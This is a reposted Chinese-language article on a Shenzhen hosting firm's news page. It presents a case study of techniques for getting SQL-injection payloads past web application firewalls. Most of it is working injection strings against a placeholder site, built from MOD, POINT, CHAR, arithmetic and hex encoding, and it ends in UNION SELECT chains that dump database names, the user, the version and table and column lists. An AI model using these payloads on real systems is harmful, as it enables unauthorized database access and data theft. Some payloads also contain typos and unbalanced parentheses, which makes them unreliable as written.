新闻、帮助、产品更新动态

最新的业界新闻,产品系统更新开发动态,帮助教程和活动发布

通过 SQL 函数绕过 SQL 注入 WAF 的案例研究

发布日:2022-01-27 14:37       阅读数:

使用 And 0 的传统方式
        And 0 的普通用法很容易被 WAF 检测到并立即触发它,因此无法使用该查询。下面的示例描述了在 SQL 注入中使用 false 值的传统方式。
And 1=0
And false
And 0
And 1
And 50=60
Any number that are not the same will equal to (0, false, null)kleiton0x7e通过 SQL 函数绕过 SQL 注入 WAF 的案例研究

 

使用 And 0 的另一种方法
        以下方法是其各自的 SQL 支持的新发现的查询,作为声明 false、null 或 0 值的新方法。
1) 任何等于 0 的数学/算术或逻辑问题 
And 1*0
And 1-1
And 0/1  
例如:
http://website.com/index.php?id=1’ and 1*0 order by 10

2) 使用MOD()

 SELECT mod(10, 2); 
使用的 mod() 函数将输出为 0
例如:
http://website.com/index.php?id=1 and mod(29,9) Order by 10

3) 使用POINT()

SELECT point(29, 9); 
例如:
http://website.com/index.php?id=1 and point(29,9) Order by 10
4) 使用POWER()
SELECT power(5,5); 

例如:

http://website.com/index.php?id=1 and power(5,5) Order by 10

 

非法参数数据类型
        错误通知非法参数数据类型INT和操作'='的行,与条件中包含的列的数据类型有关。由于许多原因,可能会出现此问题。
1) 用于操作MOD
% = Modulo
例如:
http://website.com/index.php?id=1 % point(29,9) Order by 10

2) 用于操作&

& = Bitwise And
&& = Logical And  

例如:

http://website.com/index.php?id=1 && point(29,9) Order by 10

3) 用于操作或

| = Bitwise OR
|| = Logical OR, sometimes use for Concatanation  

例如:

http://website.com/index.php?id=1 || point(29,9) Order by 10
使用 Null 的传统方式
        Null 的普通用法很容易被 WAF 检测到并立即触发它,因此无法使用该查询。下面的示例描述了在 SQL 注入中使用 false 值的传统方式。
Union Select null, null, null, null

 

使用 Null 的另一种方法
1) 使用0
UNION SELECT 0,0,0,0
例如:
http : //website.com/index.php?id =1 div 0 Union Select 0 , 0 , 0 , 0(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA), 0 , 0 –+”

2)使用假

UNION SELECT false,false,false,false

例如:

http : //website.com/index.php?id =1 div false Union Select false , false , false , false,SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA), false – +
3) 使用char()
UNION SELECT char(null),char(null),char(null),char(null)
UNION SELECT char(false),char(false,char(false),char(false)
UNION SELECT char(0),char(0),char(0),char(0)
UNION SELECT char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c),char(0x4e554c4c)
例如:
http://website.com/index.php?id=1 div char(false) Union Select “char(false) div char(false) Union Select char(false),char(false),char(false),char(false),concat(0x222f3e,0x3c62723e,0x3c62723e,’
’,’Database ::,database(),0x3c62723e,’User ::,user(),0x3c62723e,’Version ::,version(),0x3c62723e,user(),make_set(6,@:=0x0a, (select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),char(false)+,char(false),char(false),char(false),char(false),char(false)+

4) 使用算术或逻辑运算符

UNION SELECT (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0)
UNION SELECT 34=35,34=35,34=35,34=35   

例如:

http://website.com/index.php?id=1 div (0*1337-0) Union Select "(0*1337-0) div (0*1337-0) Union Select (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0),concat(0x222f3e,0x3c62723e,0x3c62723e,'<br>','Database ::',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version ::',version(),0x3c62723e,user(),make_set(6,@:=0x0a, (select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),(0*1337-0)--+",(0*1337-0),(0*1337-0), (0*1337-0),(0*1337-0),(0*1337-0)--+
使用 0xHEX 值绕过静态 Web 应用程序防火墙
        由于 0xHEX 值在 SQL 查询和注入负载中被接受并广泛使用,因此它是绕过基于静态的防火墙的好方法。使用这种技术,可以避免使用诸如NULL、false或 ' (单引号)之类的词。下面是现有的有效载荷,但它们各自的值被转换为 0xHEX 格式。
SELECT CHAR(NULL);SELECT CHAR(0x4e554c4c);
SELECT CHAR(0)SELECT CHAR(0x30);
SELECT MOD(29, 9);SELECT MOD(0x3239, 0x34);
SELECT POINT(29, 9);SELECT POINT(0x3239, 0x39);

编辑:航网科技   来源:腾讯云

本文版权归原作者所有 转载请注明出处

联系我们

0755-36300002

深圳市龙华区和平路龙胜商业大厦5楼B5区

资质证书

  • Copyright © 2011-2020 www.hangw.com. All Rights Reserved 深圳航网科技有限公司 版权所有 增值电信业务经营许可证:粤B2-20201122 - 粤ICP备14085080号

    在线客服

    微信扫一扫咨询客服


    全国免费服务热线
    0755-36300002

    返回顶部